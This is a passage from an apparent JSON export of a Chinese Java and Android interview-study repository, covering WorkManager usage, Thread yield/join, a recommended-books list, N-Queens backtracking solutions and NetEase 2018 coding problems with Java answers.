.setConstraints(constraints).setInputData(inputData).build();\n\n4. 设置约束\n     1. setRequiredNetworkType 网络\n     2. setRequiresBatteryNotLow 电量\n     3. setRequiresCharging 是否充电\n     4. setRequiresDeviceIdle 是否是idle状态\n     5. setRequiresStorageNotLow存储是否低\n\n5. workManager优点\n\n   1. Easy to schedule\n   2. Easy to cancel\n   3. Easy to query\n   4. Support for all android versions\n\n6. 示例：\n\n     /**\n         * 模拟一个网络请求\n         */\n        private void exeWorkByNetWork() {\n            //notice 创建约束条件\n            Constraints constraints = new Constraints.Builder().setRequiredNetworkType(NetworkType.CONNECTED)\n                    .build();\n            //notice 输入数据\n            Data inputData = new Data.Builder().putBoolean(\"isTest\", true).build();\n\n            //notice 构建请求类型，一次的请求\n            OneTimeWorkRequest oneTimeWorkRequest = new OneTimeWorkRequest.Builder(\n                    UploadWork.class\n            ).setConstraints(constraints).setInputData(inputData).build();\n\n            //notice 设置结果回调\n            WorkManager.getInstance().getStatusById(oneTimeWorkRequest.getId())\n                    .observe(this, new Observer<WorkStatus>() {\n                        @Override\n                        public void onChanged(@Nullable WorkStatus workStatus) {\n\n                            if (workStatus != null && workStatus.getState() == State.SUCCEEDED) {\n                                //notice 取出回调数据\n                                String result = workStatus.getOutputData().getString(\"result\", \"\");\n                                Log.i(\"result\",\"workStatus=\"+workStatus.getState());\n                                toast(result);\n\n                            }\n                        }\n                    });\n            //notice 执行\n            WorkManager.getInstance().enqueue(oneTimeWorkRequest);\n\n\n            /**\n             * 你也可以让多个任务按顺序执行：\n\n             WorkManager.getInstance(this)\n             .beginWith(Work.from(LocationWork.class))\n             .then(Work.from(LocationUploadWorker.class))\n             .enqueue();\n             你还可以让多个任务同时执行：\n\n             WorkManager.getInstance(this).enqueue(Work.from(LocationWork.class,\n             LocationUploadWorker.class));\n             */\n        }\n\n\n"
  },
  {
    "path": "docs/android/sources/yield_join.md",
    "content": "### yield 和 join 使用\n\n1. yield方法  \n\n   暂停当前正在执行的线程对象。  \n\n   yield()方法是停止当前线程，让同等优先权的线程或更高优先级的线程有执行的机会。如果没有的话，那么yield()方法将不会起作用，并且由可执行状态后马上又被执行。   \n\n2. join是Thread方法，join方法是用于在某一个线程的执行过程中调用另一个线程执行，等到被调用的线程执行结束后，再继续执行当前线程。如：t.join();//主要用于等待t线程运行结束，若无此句，main则会执行完毕，导致结果不可预测。  "
  },
  {
    "path": "docs/data/java-recommended-books.md",
    "content": "\n<!-- TOC -->\n\n- [Java](#java)\n    - [基础](#基础)\n    - [并发](#并发)\n    - [JVM](#jvm)\n    - [Java8 新特性](#java8-新特性)\n    - [代码优化](#代码优化)\n- [网络](#网络)\n- [操作系统](#操作系统)\n- [数据结构与算法](#数据结构与算法)\n- [数据库](#数据库)\n- [系统设计](#系统设计)\n    - [设计模式](#设计模式)\n    - [常用框架](#常用框架)\n    - [网站架构](#网站架构)\n    - [软件底层](#软件底层)\n- [其他](#其他)\n\n<!-- /TOC -->\n## Java\n\n### 基础\n\n- [《Head First Java》](https://book.douban.com/subject/2000732/)(推荐，豆瓣评分 8.7，1.0K+人评价)：  可以说是我的 Java 启蒙书籍了，特别适合新手读当然也适合我们用来温故 Java 知识点。\n- [《Java 核心技术卷 1+卷 2》](https://book.douban.com/subject/25762168/)（推荐）: 很棒的两本书，建议有点 Java 基础之后再读，介绍的还是比较深入的，非常推荐。这两本书我一般也会用来巩固知识点，是两本适合放在自己身边的好书。\n- [《JAVA 网络编程 第 4 版》](https://book.douban.com/subject/26259017/)：  可以系统的学习一下网络的一些概念以及网络编程在 Java 中的使用。\n- [《Java 编程思想 (第 4 版)》](https://book.douban.com/subject/2130190/)（推荐，豆瓣评分 9.1，3.2K+人评价）：大部分人称之为Java领域的圣经，但我不推荐初学者阅读，有点劝退的味道。稍微有点基础后阅读更好。\n\n### 并发\n\n- [《Java 并发编程之美》](<https://book.douban.com/subject/30351286/>) （推荐）：2018 年 10 月出版的一本书，个人感觉非常不错，对每个知识点的讲解都很棒。\n- [《Java 并发编程的艺术》](https://book.douban.com/subject/26591326/)（推荐，豆瓣评分 7.2，0.2K+人评价）： 这本书不是很适合作为 Java 并发入门书籍，需要具备一定的 JVM 基础。我感觉有些东西讲的还是挺深入的，推荐阅读。\n- [《实战 Java 高并发程序设计》](https://book.douban.com/subject/26663605/)（推荐,豆瓣评分 8.3）： 书的质量没的说，推荐大家好好看一下。\n- [《Java 高并发编程详解》](https://book.douban.com/subject/30255689/)（豆瓣评分 7.6）： 2018 年 6 月出版的一本书，内容很详细，但可能又有点过于啰嗦，不过这只是我的感觉。\n\n### JVM\n\n-  [《深入理解 Java 虚拟机（第 2 版）周志明》](https://book.douban.com/subject/24722612/)（推荐，豆瓣评分 8.9，1.0K+人评价）：建议多刷几遍，书中的所有知识点可以通过 JAVA 运行时区域和 JAVA 的内存模型与线程两个大模块罗列完全。 \n- [《实战 JAVA 虚拟机》](https://book.douban.com/subject/26354292/)（推荐，豆瓣评分 8.0，1.0K+人评价）：作为入门的了解 Java 虚拟机的知识还是不错的。\n\n### Java8 新特性\n\n- [《Java 8 实战》](https://book.douban.com/subject/26772632/) （推荐，豆瓣评分 9.2 ）：面向 Java 8 的技能升级，包括 Lambdas、流和函数式编程特性。实战系列的一贯风格让自己快速上手应用起来。Java 8 支持的 Lambda 是精简表达在语法上提供的支持。Java 8 提供了 Stream，学习和使用可以建立流式编程的认知。\n- [《Java 8 编程参考官方教程》](https://book.douban.com/subject/26556574/) （推荐，豆瓣评分 9.2）：也还不错吧。\n\n### 代码优化\n\n-  [《重构_改善既有代码的设计》](https://book.douban.com/subject/4262627/)（推荐）：豆瓣 9.1 分，重构书籍的开山鼻祖。\n-  [《Effective java 》](https://book.douban.com/subject/3360807/)（推荐，豆瓣评分 9.0，1.4K+人评价）：本书介绍了在 Java 编程中 78 条极具实用价值的经验规则，这些经验规则涵盖了大多数开发人员每天所面临的问题的解决方案。通过对 Java 平台设计专家所使用的技术的全面描述，揭示了应该做什么，不应该做什么才能产生清晰、健壮和高效的代码。本书中的每条规则都以简短、独立的小文章形式出现，并通过例子代码加以进一步说明。本书内容全面，结构清晰，讲解详细。可作为技术人员的参考用书。\n-  [《代码整洁之道》](https://book.douban.com/subject/5442024/)（推荐，豆瓣评分 9.1）：虽然是用 Java 语言作为例子，全篇都是在阐述 Java 面向对象的思想，但是其中大部分内容其它语言也能应用到。\n-  **阿里巴巴 Java 开发手册（详尽版）** [https://github.com/alibaba/p3c/blob/master/阿里巴巴 Java 开发手册（详尽版）.pdf](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)\n-  **Google Java 编程风格指南：** <http://www.hawstein.com/posts/google-java-style.html>\n\n\n## 网络\n\n- [《图解 HTTP》](https://book.douban.com/subject/25863515/)（推荐,豆瓣评分 8.1 , 1.6K+人评价）： 讲漫画一样的讲 HTTP，很有意思，不会觉得枯燥，大概也涵盖也 HTTP 常见的知识点。因为篇幅问题，内容可能不太全面。不过，如果不是专门做网络方向研究的小伙伴想研究 HTTP 相关知识的话，读这本书的话应该来说就差不多了。\n- [《HTTP 权威指南》](https://book.douban.com/subject/10746113/) （推荐,豆瓣评分 8.6）:如果要全面了解 HTTP 非此书不可！\n\n## 操作系统\n\n- [《鸟哥的 Linux 私房菜》](https://book.douban.com/subject/4889838/)（推荐，，豆瓣评分 9.1，0.3K+人评价）：本书是最具知名度的 Linux 入门书《鸟哥的 Linux 私房菜基础学习篇》的最新版，全面而详细地介绍了 Linux 操作系统。全书分为 5 个部分：第一部分着重说明 Linux 的起源及功能，如何规划和安装 Linux 主机；第二部分介绍 Linux 的文件系统、文件、目录与磁盘的管理；第三部分介绍文字模式接口 shell 和管理系统的好帮手 shell 脚本，另外还介绍了文字编辑器 vi 和 vim 的使用方法；第四部分介绍了对于系统安全非常重要的 Linux 账号的管理，以及主机系统与程序的管理，如查看进程、任务分配和作业管理；第五部分介绍了系统管理员 (root) 的管理事项，如了解系统运行状况、系统服务，针对登录文件进行解析，对系统进行备份以及核心的管理等。\n\n## 数据结构与算法\n\n- [《大话数据结构》](https://book.douban.com/subject/6424904/)（推荐，豆瓣评分 7.9 , 1K+人评价）：入门类型的书籍，读起来比较浅显易懂，适合没有数据结构基础或者说数据结构没学好的小伙伴用来入门数据结构。\n- [《数据结构与算法分析：C 语言描述》](https://book.douban.com/subject/1139426/)（推荐，豆瓣评分 8.9，1.6K+人评价）:本书是《Data Structures and Algorithm Analysis in C》一书第 2 版的简体中译本。原书曾被评为 20 世纪顶尖的 30 部计算机著作之一，作者 Mark Allen Weiss 在数据结构和算法分析方面卓有建树，他的数据结构和算法分析的著作尤其畅销，并受到广泛好评．已被世界 500 余所大学用作教材。\n- [《算法图解》](https://book.douban.com/subject/26979890/)（推荐，豆瓣评分 8.4，0.6K+人评价）：入门类型的书籍，读起来比较浅显易懂，适合没有算法基础或者说算法没学好的小伙伴用来入门。示例丰富，图文并茂，以让人容易理解的方式阐释了算法.读起来比较快，内容不枯燥！\n- [《算法 第四版》](https://book.douban.com/subject/10432347/)（推荐，豆瓣评分 9.3，0.4K+人评价）：Java 语言描述，算法领域经典的参考书，全面介绍了关于算法和数据结构的必备知识，并特别针对排序、搜索、图处理和字符串处理进行了论述。书的内容非常多，可以说是 Java 程序员的必备书籍之一了。\n\n## 数据库\n\n-  [《高性能 MySQL》](https://book.douban.com/subject/23008813/)（推荐，豆瓣评分 9.3，0.4K+人评价）：mysql 领域的经典之作，拥有广泛的影响力。不但适合数据库管理员（dba）阅读，也适合开发人员参考学习。不管是数据库新手还是专家，相信都能从本书有所收获。\n-  [《Redis 实战》](https://book.douban.com/subject/26612779/)：如果你想了解 Redis 的一些概念性知识的话，这本书真的非常不错。\n-  [《Redis 设计与实现》](https://book.douban.com/subject/25900156/)（推荐，豆瓣评分 8.5，0.5K+人评价）：也还行吧！\n-  [《MySQL 技术内幕-InnoDB 存储引擎》](<https://book.douban.com/subject/24708143/>)（推荐，豆瓣评分 8.7）：了解 InnoDB 存储引擎底层原理必备的一本书，比较深入。\n\n## 系统设计\n\n### 设计模式\n\n- [《设计模式 : 可复用面向对象软件的基础》 ](https://book.douban.com/subject/1052241/) （推荐，豆瓣评分 9.1）：设计模式的经典！\n- [《Head First 设计模式（中文版）》](https://book.douban.com/subject/2243615/) （推荐，豆瓣评分 9.2）：相当赞的一本设计模式入门书籍。用实际的编程案例讲解算法设计中会遇到的各种问题和需求变更（对的，连需求变更都考虑到了！），并以此逐步推导出良好的设计模式解决办法。\n\n### 常用框架\n\n- [《深入分析 Java Web 技术内幕》](https://book.douban.com/subject/25953851/)：  感觉还行，涉及的东西也蛮多。\n- [《Netty 实战》](https://book.douban.com/subject/27038538/)（推荐，豆瓣评分 7.8，92 人评价）：内容很细，如果想学 Netty 的话，推荐阅读这本书！\n- [《从 Paxos 到 Zookeeper》](https://book.douban.com/subject/26292004/)（推荐，豆瓣评分 7.8，0.3K 人评价）：简要介绍几种典型的分布式一致性协议，以及解决分布式一致性问题的思路，其中重点讲解了 Paxos 和 ZAB 协议。同时，本书深入介绍了分布式一致性问题的工业解决方案——ZooKeeper，并着重向读者展示这一分布式协调框架的使用方法、内部实现及运维技巧，旨在帮助读者全面了解 ZooKeeper，并更好地使用和运维 ZooKeeper。\n- [《Spring 实战（第 4 版）》](https://book.douban.com/subject/26767354/)（推荐，豆瓣评分 8.3，0.3K+人评价）：不建议当做入门书籍读，入门的话可以找点国人的书或者视频看。这本定位就相当于是关于 Spring 的新华字典，只有一些基本概念的介绍和示例，涵盖了 Spring 的各个方面，但都不够深入。就像作者在最后一页写的那样：“学习 Spring，这才刚刚开始”。\n- [《RabbitMQ 实战指南》](https://book.douban.com/subject/27591386/)：《RabbitMQ 实战指南》从消息中间件的概念和 RabbitMQ 的历史切入，主要阐述 RabbitMQ 的安装、使用、配置、管理、运维、原理、扩展等方面的细节。如果你想浅尝 RabbitMQ 的使用，这本书是你最好的选择；如果你想深入 RabbitMQ 的原理，这本书也是你最好的选择；总之，如果你想玩转 RabbitMQ，这本书一定是最值得看的书之一\n- [《Spring Cloud 微服务实战》](https://book.douban.com/subject/27025912/)：从时下流行的微服务架构概念出发，详细介绍了 Spring Cloud 针对微服务架构中几大核心要素的解决方案和基础组件。对于各个组件的介绍，《Spring Cloud 微服务实战》主要以示例与源码结合的方式来帮助读者更好地理解这些组件的使用方法以及运行原理。同时，在介绍的过程中，还包含了作者在实践中所遇到的一些问题和解决思路，可供读者在实践中作为参考。\n- [《第一本 Docker 书》](https://book.douban.com/subject/26780404/)：Docker 入门书籍！\n\n### 网站架构\n\n-  [《大型网站技术架构：核心原理与案例分析+李智慧》](https://book.douban.com/subject/25723064/)（推荐）:这本书我读过，基本不需要你有什么基础啊~读起来特别轻松，但是却可以学到很多东西，非常推荐了。另外我写过这本书的思维导图，关注我的微信公众号：“Java 面试通关手册”回复“大型网站技术架构”即可领取思维导图。\n- [《亿级流量网站架构核心技术》](https://book.douban.com/subject/26999243/)（推荐）：一书总结并梳理了亿级流量网站高可用和高并发原则，通过实例详细介绍了如何落地这些原则。本书分为四部分：概述、高可用原则、高并发原则、案例实战。从负载均衡、限流、降级、隔离、超时与重试、回滚机制、压测与预案、缓存、池化、异步化、扩容、队列等多方面详细介绍了亿级流量网站的架构核心技术，让读者看后能快速运用到实践项目中。\n\n### 软件底层\n\n- [《深入剖析 Tomcat》](https://book.douban.com/subject/10426640/)（推荐，豆瓣评分 8.4，0.2K+人评价）：本书深入剖析 Tomcat 4 和 Tomcat 5 中的每个组件，并揭示其内部工作原理。通过学习本书，你将可以自行开发 Tomcat 组件，或者扩展已有的组件。 读完这本书，基本可以摆脱背诵面试题的尴尬。\n- [《深入理解 Nginx（第 2 版）》](https://book.douban.com/subject/26745255/)：作者讲的非常细致，注释都写的都很工整，对于 Nginx 的开发人员非常有帮助。优点是细致，缺点是过于细致，到处都是代码片段，缺少一些抽象。\n\n## 其他\n\n- [《黑客与画家》](https://read.douban.com/ebook/387525/?dcs=subject-rec&dcm=douban&dct=2243615)：这本书是硅谷创业之父，Y Combinator 创始人 Paul Graham 的文集。之所以叫这个名字，是因为作者认为黑客（并非负面的那个意思）与画家有着极大的相似性，他们都是在创造，而不是完成某个任务。\n\n  \n\n\n\n\n"
  },
  {
    "path": "docs/dataStructures-algorithms/Backtracking-NQueens.md",
    "content": "# N皇后\n[51. N皇后](https://leetcode-cn.com/problems/n-queens/)\n### 题目描述\n> n 皇后问题研究的是如何将 n 个皇后放置在 n×n 的棋盘上，并且使皇后彼此之间不能相互攻击。\n>\n![ANUzjA.png](https://s2.ax1x.com/2019/03/26/ANUzjA.png)\n>\n上图为 8 皇后问题的一种解法。\n>\n给定一个整数 n，返回所有不同的 n 皇后问题的解决方案。\n>\n每一种解法包含一个明确的 n 皇后问题的棋子放置方案，该方案中 'Q' 和 '.' 分别代表了皇后和空位。\n\n示例：\n\n```\n输入: 4\n输出: [\n [\".Q..\",  // 解法 1\n  \"...Q\",\n  \"Q...\",\n  \"..Q.\"],\n\n [\"..Q.\",  // 解法 2\n  \"Q...\",\n  \"...Q\",\n  \".Q..\"]\n]\n解释: 4 皇后问题存在两个不同的解法。\n```\n\n### 问题分析\n约束条件为每个棋子所在的行、列、对角线都不能有另一个棋子。\n\n使用一维数组表示一种解法，下标（index）表示行，值（value）表示该行的Q（皇后）在哪一列。  \n每行只存储一个元素，然后递归到下一行，这样就不用判断行了，只需要判断列和对角线。\n### Solution1\n当result[row] = column时，即row行的棋子在column列。\n\n对于[0, row-1]的任意一行（i 行），若 row 行的棋子和 i 行的棋子在同一列，则有result[i] == column;  \n若 row 行的棋子和 i 行的棋子在同一对角线，等腰直角三角形两直角边相等，即 row - i == Math.abs(result[i] - column)\n\n布尔类型变量 isValid 的作用是剪枝，减少不必要的递归。\n```\npublic List<List<String>> solveNQueens(int n) {\n\t// 下标代表行，值代表列。如result[0] = 3 表示第1行的Q在第3列\n\tint[] result = new int[n];\n\tList<List<String>> resultList = new LinkedList<>();\n\tdfs(resultList, result, 0, n);\n\treturn resultList;\n}\n\nvoid dfs(List<List<String>> resultList, int[] result, int row, int n) {\n    // 递归终止条件\n\tif (row == n) {\n\t\tList<String> list = new LinkedList<>();\n\t\tfor (int x = 0; x < n; ++x) {\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tfor (int y = 0; y < n; ++y)\n\t\t\t\tsb.append(result[x] == y ? \"Q\" : \".\");\n\t\t\tlist.add(sb.toString());\n\t\t}\n\t\tresultList.add(list);\n\t\treturn;\n\t}\n\tfor (int column = 0; column < n; ++column) {\n\t\tboolean isValid = true;\n\t\tresult[row] = column;\n\t\t/*\n\t\t * 逐行往下考察每一行。同列，result[i] == column\n\t\t * 同对角线，row - i == Math.abs(result[i] - column)\n\t\t */\n\t\tfor (int i = row - 1; i >= 0; --i) {\n\t\t\tif (result[i] == column || row - i == Math.abs(result[i] - column)) {\n\t\t\t\tisValid = false;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tif (isValid) dfs(resultList, result, row + 1, n);\n\t}\n}\n```\n### Solution2\n使用LinkedList表示一种解法，下标（index）表示行，值（value）表示该行的Q（皇后）在哪一列。\n\n解法二和解法一的不同在于，相同列以及相同对角线的校验。\n将对角线抽象成【一次函数】这个简单的数学模型，根据一次函数的截距是常量这一特性进行校验。\n\n这里，我将右上-左下对角线，简称为“\\”对角线；左上-右下对角线简称为“/”对角线。\n\n“/”对角线斜率为1，对应方程为y = x + b，其中b为截距。  \n对于线上任意一点，均有y - x = b，即row - i = b;  \n定义一个布尔类型数组anti_diag，将b作为下标，当anti_diag[b] = true时，表示相应对角线上已经放置棋子。  \n但row - i有可能为负数，负数不能作为数组下标，row - i 的最小值为-n（当row = 0，i = n时），可以加上n作为数组下标，即将row -i + n 作为数组下标。  \nrow - i + n 的最大值为 2n（当row = n，i = 0时），故anti_diag的容量设置为 2n 即可。\n\n![ANXG79.png](https://s2.ax1x.com/2019/03/26/ANXG79.png)\n\n“\\”对角线斜率为-1，对应方程为y = -x + b，其中b为截距。  \n对于线上任意一点，均有y + x = b，即row + i = b;  \n同理，定义数组main_diag，将b作为下标，当main_diag[row + i] = true时，表示相应对角线上已经放置棋子。\n\n有了两个校验对角线的数组，再来定义一个用于校验列的数组cols，这个太简单啦，不解释。\n\n**解法二时间复杂度为O(n!)，在校验相同列和相同对角线时，引入三个布尔类型数组进行判断。相比解法一，少了一层循环，用空间换时间。**\n\n```\nList<List<String>> resultList = new LinkedList<>();\n\npublic List<List<String>> solveNQueens(int n) {\n\tboolean[] cols = new boolean[n];\n\tboolean[] main_diag = new boolean[2 * n];\n\tboolean[] anti_diag = new boolean[2 * n];\n\tLinkedList<Integer> result = new LinkedList<>();\n\tdfs(result, 0, cols, main_diag, anti_diag, n);\n\treturn resultList;\n}\n\nvoid dfs(LinkedList<Integer> result, int row, boolean[] cols, boolean[] main_diag, boolean[] anti_diag, int n) {\n\tif (row == n) {\n\t\tList<String> list = new LinkedList<>();\n\t\tfor (int x = 0; x < n; ++x) {\n\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\tfor (int y = 0; y < n; ++y)\n\t\t\t\tsb.append(result.get(x) == y ? \"Q\" : \".\");\n\t\t\tlist.add(sb.toString());\n\t\t}\n\t\tresultList.add(list);\n\t\treturn;\n\t}\n\tfor (int i = 0; i < n; ++i) {\n\t\tif (cols[i] || main_diag[row + i] || anti_diag[row - i + n])\n\t\t\tcontinue;\n\t\tresult.add(i);\n\t\tcols[i] = true;\n\t\tmain_diag[row + i] = true;\n\t\tanti_diag[row - i + n] = true;\n\t\tdfs(result, row + 1, cols, main_diag, anti_diag, n);\n\t\tresult.removeLast();\n\t\tcols[i] = false;\n\t\tmain_diag[row + i] = false;\n\t\tanti_diag[row - i + n] = false;\n\t}\n}\n```"
  },
  {
    "path": "docs/dataStructures-algorithms/公司真题.md",
    "content": "# 网易 2018\n\n下面三道编程题来自网易2018校招编程题，这三道应该来说是非常简单的编程题了，这些题目大家稍微有点编程和数学基础的话应该没什么问题。看答案之前一定要自己先想一下如果是自己做的话会怎么去做，然后再对照这我的答案看看，和你自己想的有什么区别？那一种方法更好？\n\n## 问题\n\n### 一 获得特定数量硬币问题\n\n小易准备去魔法王国采购魔法神器,购买魔法神器需要使用魔法币,但是小易现在一枚魔法币都没有,但是小易有两台魔法机器可以通过投入x(x可以为0)个魔法币产生更多的魔法币。\n\n魔法机器1:如果投入x个魔法币,魔法机器会将其变为2x+1个魔法币\n\n魔法机器2:如果投入x个魔法币,魔法机器会将其变为2x+2个魔法币\n\n小易采购魔法神器总共需要n个魔法币,所以小易只能通过两台魔法机器产生恰好n个魔法币,小易需要你帮他设计一个投入方案使他最后恰好拥有n个魔法币。 \n\n**输入描述:** 输入包括一行,包括一个正整数n(1 ≤ n ≤ 10^9),表示小易需要的魔法币数量。\n\n**输出描述:** 输出一个字符串,每个字符表示该次小易选取投入的魔法机器。其中只包含字符'1'和'2'。\n\n**输入例子1:** 10\n\n**输出例子1:** 122\n\n### 二 求“相反数”问题\n\n为了得到一个数的\"相反数\",我们将这个数的数字顺序颠倒,然后再加上原先的数得到\"相反数\"。例如,为了得到1325的\"相反数\",首先我们将该数的数字顺序颠倒,我们得到5231,之后再加上原先的数,我们得到5231+1325=6556.如果颠倒之后的数字有前缀零,前缀零将会被忽略。例如n = 100, 颠倒之后是1. \n\n**输入描述:** 输入包括一个整数n,(1 ≤ n ≤ 10^5)\n\n**输出描述:** 输出一个整数,表示n的相反数\n\n**输入例子1:** 1325\n\n**输出例子1:** 6556\n\n### 三 字符串碎片的平均长度\n\n一个由小写字母组成的字符串可以看成一些同一字母的最大碎片组成的。例如,\"aaabbaaac\"是由下面碎片组成的:'aaa','bb','c'。牛牛现在给定一个字符串,请你帮助计算这个字符串的所有碎片的平均长度是多少。\n\n**输入描述:** 输入包括一个字符串s,字符串s的长度length(1 ≤ length ≤ 50),s只含小写字母('a'-'z')\n\n**输出描述:** 输出一个整数,表示所有碎片的平均长度,四舍五入保留两位小数。\n\n**如样例所示:** s = \"aaabbaaac\"\n所有碎片的平均长度 = (3 + 2 + 3 + 1) / 4 = 2.25\n\n**输入例子1:** aaabbaaac\n\n**输出例子1:** 2.25\n\n## 答案\n\n### 一 获得特定数量硬币问题\n\n#### 分析：\n\n作为该试卷的第一题，这道题应该只要思路正确就很简单了。\n\n解题关键：明确魔法机器1只能产生奇数，魔法机器2只能产生偶数即可。我们从后往前一步一步推回去即可。\n\n#### 示例代码\n\n注意：由于用户的输入不确定性，一般是为了程序高可用性使需要将捕获用户输入异常然后友好提示用户输入类型错误并重新输入的。所以下面我给了两个版本，这两个版本都是正确的。这里只是给大家演示如何捕获输入类型异常，后面的题目中我给的代码没有异常处理的部分，参照下面两个示例代码，应该很容易添加。（PS：企业面试中没有明确就不用添加异常处理，当然你有的话也更好）\n\n**不带输入异常处理判断的版本：**\n\n```java\nimport java.util.Scanner;\n\npublic class Main2 {\n\t// 解题关键：明确魔法机器1只能产生奇数，魔法机器2只能产生偶数即可。我们从后往前一步一步推回去即可。\n\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"请输入要获得的硬币数量：\");\n\t\tScanner scanner = new Scanner(System.in);\n\t\tint coincount = scanner.nextInt();\n\t\tStringBuilder sb = new StringBuilder();\n\t\twhile (coincount >= 1) {\n\t\t\t// 偶数的情况\n\t\t\tif (coincount % 2 == 0) {\n\t\t\t\tcoincount = (coincount - 2) / 2;\n\t\t\t\tsb.append(\"2\");\n\t\t\t\t// 奇数的情况\n\t\t\t} else {\n\t\t\t\tcoincount = (coincount - 1) / 2;\n\t\t\t\tsb.append(\"1\");\n\t\t\t}\n\t\t}\n\t\t// 输出反转后的字符串\n\t\tSystem.out.println(sb.reverse());\n\n\t}\n}\n```\n\n**带输入异常处理判断的版本（当输入的不是整数的时候会提示重新输入）：**\n\n```java\nimport java.util.InputMismatchException;\nimport java.util.Scanner;\n\n\npublic class Main {\n\t// 解题关键：明确魔法机器1只能产生奇数，魔法机器2只能产生偶数即可。我们从后往前一步一步推回去即可。\n\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"请输入要获得的硬币数量：\");\n\t\tScanner scanner = new Scanner(System.in);\n\t\tboolean flag = true;\n\t\twhile (flag) {\n\t\t\ttry {\n\t\t\t\tint coincount = scanner.nextInt();\n\t\t\t\tStringBuilder sb = new StringBuilder();\n\t\t\t\twhile (coincount >= 1) {\n\t\t\t\t\t// 偶数的情况\n\t\t\t\t\tif (coincount % 2 == 0) {\n\t\t\t\t\t\tcoincount = (coincount - 2) / 2;\n\t\t\t\t\t\tsb.append(\"2\");\n\t\t\t\t\t\t// 奇数的情况\n\t\t\t\t\t} else {\n\t\t\t\t\t\tcoincount = (coincount - 1) / 2;\n\t\t\t\t\t\tsb.append(\"1\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// 输出反转后的字符串\n\t\t\t\tSystem.out.println(sb.reverse());\n\t\t\t\tflag=false;//程序结束\n\t\t\t} catch (InputMismatchException e) {\n\t\t\t\tSystem.out.println(\"输入数据类型不匹配，请您重新输入:\");\n\t\t\t\tscanner.nextLine();\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t}\n}\n\n```\n\n### 二 求“相反数”问题\n\n#### 分析：\n\n解决本道题有几种不同的方法，但是最快速的方法就是利用reverse()方法反转字符串然后再将字符串转换成int类型的整数，这个方法是快速解决本题关键。我们先来回顾一下下面两个知识点：\n\n**1)String转int；**\n\n在 Java 中要将 String 类型转化为 int 类型时,需要使用 Integer 类中的 parseInt() 方法或者 valueOf() 方法进行转换.\n\n```java\n String str = \"123\";\n int a = Integer.parseInt(str);\n```\n\n 或\n\n```java\n String str = \"123\";\n int a = Integer.valueOf(str).intValue()；\n```\n\n**2)next()和nextLine()的区别**\n\n在Java中输入字符串有两种方法，就是next()和nextLine().两者的区别就是：nextLine()的输入是碰到回车就终止输入，而next()方法是碰到空格，回车，Tab键都会被视为终止符。所以next()不会得到带空格的字符串，而nextLine()可以得到带空格的字符串。\n\n#### 示例代码：\n\n```java\nimport java.util.Scanner;\n\n/**\n * 本题关键：①String转int；②next()和nextLine()的区别\n */\npublic class Main {\n\n\tpublic static void main(String[] args) {\n\n\t\tSystem.out.println(\"请输入一个整数：\");\n\t\tScanner scanner = new Scanner(System.in);\n\t\tString s=scanner.next(); \n\t\t//将字符串转换成数字\n\t\tint number1=Integer.parseInt(s);\n\t\t//将字符串倒序后转换成数字\n\t\t//因为Integer.parseInt()的参数类型必须是字符串所以必须加上toString()\n\t\tint number2=Integer.parseInt(new StringBuilder(s).reverse().toString());\n\t\tSystem.out.println(number1+number2);\n\n\t}\n}\n```\n\n### 三 字符串碎片的平均长度\n\n#### 分析：\n\n这道题的意思也就是要求：(字符串的总长度)/(相同字母团构成的字符串的个数)。\n\n这样就很简单了，就变成了字符串的字符之间的比较。如果需要比较字符串的字符的话，我们可以利用charAt(i)方法：取出特定位置的字符与后一个字符比较，或者利用toCharArray()方法将字符串转换成字符数组采用同样的方法做比较。\n\n#### 示例代码\n\n**利用charAt(i)方法：**\n\n```java\nimport java.util.Scanner;\n\npublic class Main {\n\n\tpublic static void main(String[] args) {\n\n\t    Scanner sc = new Scanner(System.in);\n\t    while (sc.hasNext()) {\n\t        String s = sc.next();\n\t        //个数至少为一个\n\t        float count = 1;\n\t        for (int i = 0; i < s.length() - 1; i++) {\n\t            if (s.charAt(i) != s.charAt(i + 1)) {\n\t                count++;\n\t            }\n\t        }\n\t        System.out.println(s.length() / count);\n\t    }\n\t}\n\n}\n```\n\n**利用toCharArray()方法：**\n\n```java\nimport java.util.Scanner;\n\npublic class Main2 {\n\n\tpublic static void main(String[] args) {\n\n\t    Scanner sc = new Scanner(System.in);\n\t    while (sc.hasNext()) {\n\t        String s = sc.next();\n\t        //个数至少为一个\n\t        float count = 1;\n\t        char [] stringArr = s.toCharArray();\n\t        for (int i = 0; i < stringArr.length - 1; i++) {\n\t            if (stringArr[i] != stringArr[i + 1]) {\n\t                count++;\n\t            }\n\t        }\n\t        System.out.println(s.length() / count);\n\t    }\n\t}\n\n}\n```"
  },
  {
    "path": "docs/dataStructures-algorithms/几道常见的子符串算法题.md",
    "content": "<!-- MarkdownTOC -->\n\n- [说明](#说明)\n- [1. KMP 算法](#1-kmp-算法)\n- [2. 替换空格](#2-替换空格)\n- [3. 最长公共前缀](#3-最长公共前缀)\n- [4. 回文串](#4-回文串)\n  - [4.1. 最长回文串](#41-最长回文串)\n  - [4.2. 验证回文串](#42-验证回文串)\n  - [4.3. 最长回文子串](#43-最长回文子串)\n  - [4.4. 最长回文子序列](#44-最长回文子序列)\n- [5. 括号匹配深度](#5-括号匹配深度)\n- [6. 把字符串转换成整数](#6-把字符串转换成整数)\n\n<!-- /MarkdownTOC -->\n\n\n## 说明\n\n- 本文作者：wwwxmu\n- 原文地址:https://www.weiweiblog.cn/13string/\n- 作者的博客站点：https://www.weiweiblog.cn/ （推荐哦！）\n\n考虑到篇幅问题，我会分两次更新这个内容。本篇文章只是原文的一部分，我在原文的基础上增加了部分内容以及修改了部分代码和注释。另外，我增加了爱奇艺 2018 秋招 Java：`求给定合法括号序列的深度` 这道题。所有代码均编译成功，并带有注释，欢迎各位享用！\n\n## 1. KMP 算法\n\n谈到字符串问题，不得不提的就是 KMP 算法，它是用来解决字符串查找的问题，可以在一个字符串（S）中查找一个子串（W）出现的位置。KMP 算法把字符匹配的时间复杂度缩小到 O(m+n) 